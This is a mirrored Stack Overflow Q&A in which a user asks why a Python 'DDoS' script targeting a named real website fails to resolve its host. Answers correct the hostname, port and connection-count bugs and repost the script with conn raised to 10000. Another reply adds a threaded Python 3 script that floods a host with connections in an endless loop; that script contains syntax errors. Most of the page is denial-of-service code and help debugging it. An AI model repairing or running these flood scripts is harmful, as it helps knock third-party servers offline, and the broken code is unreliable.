Question

I am trying to attack my server and I have this little ddos python script for that. But unfortunately I got this error:

ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed

Any idea how to solve this problem?

And this is the script:

import time, socket, os, sys, string

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"
Was it helpful?

Solution

Host name should be name of the host (hajnalgroup.com), not url (http://hajnalgroup.com).

>>> import socket
>>> socket.gethostbyname("http://hajnalgroup.com")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
socket.gaierror: [Errno 11004] getaddrinfo failed
>>> socket.gethostbyname("hajnalgroup.com")
'89.134.187.222'

Replace following line:

host = "http://hajnalgroup.com"

with:

host = "hajnalgroup.com"

UPDATE

All arguments to the range function should be int objects:

>>> range(1, 10)
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> range(1, "10")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: range() integer end argument expected, got str.

Replace conn = "100" with conn = 100.

OTHER TIPS

Port Number should also be a number.

import time, socket, os, sys, string
import subprocess

def restart_program():
    subprocess.call(['python', 'main.py'])

print ("DDoS mode loaded")
host = "YOUR_SITE.com"
port = 80
message = "+---------------------------+"
conn = 10000
ip = socket.gethostbyname(host)
print "[" + ip + "]"
print "[Ip is locked]"
print "[Attacking " + host + "]"
print message
def dos():
    # pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send(message)
        ddos.sendto(message, (ip, port))
        ddos.send(message)
    except socket.error:
        print("|[Connection Failed] |")
    print ("|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print message
print("The connections you requested had finished")
print message
if __name__ == "__main__":
    print "Do you want to ddos more?"
    answer = raw_input()
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

You should also use subprocess to restart dos script, which is better for multi-OS.

DDos Python 🐍


#!/usr/bin/python3
import socket, sys, os, threading, platform
def cls():
    if platform.system() == 'Linux':
      os.system("clear")
    else:
         os.system("cls")
def main():
    cls()
    print("--- DDos Attack ---\n")
    host = input("Enter Host: ")
    port = int(input("\nEnter Port: ")
    print("\n")
    def portscanner(x):
        ip = socket.gethostbyname(host)
        print(f"Ip: {ip}\n")
        while True:
             s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
             ch = s.connect_ex((host,port))
             print(f"Packet Send To {ip}")
        for j in range(10): 
           t = threading.Thread(target=portscanner,args=[j]
           t.start()

if __name__ == '__main__':
  try:
     main()
  except (KeyboardInterrupt,EOFError):
      print("\nStop !!!")
      sys.exit()

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top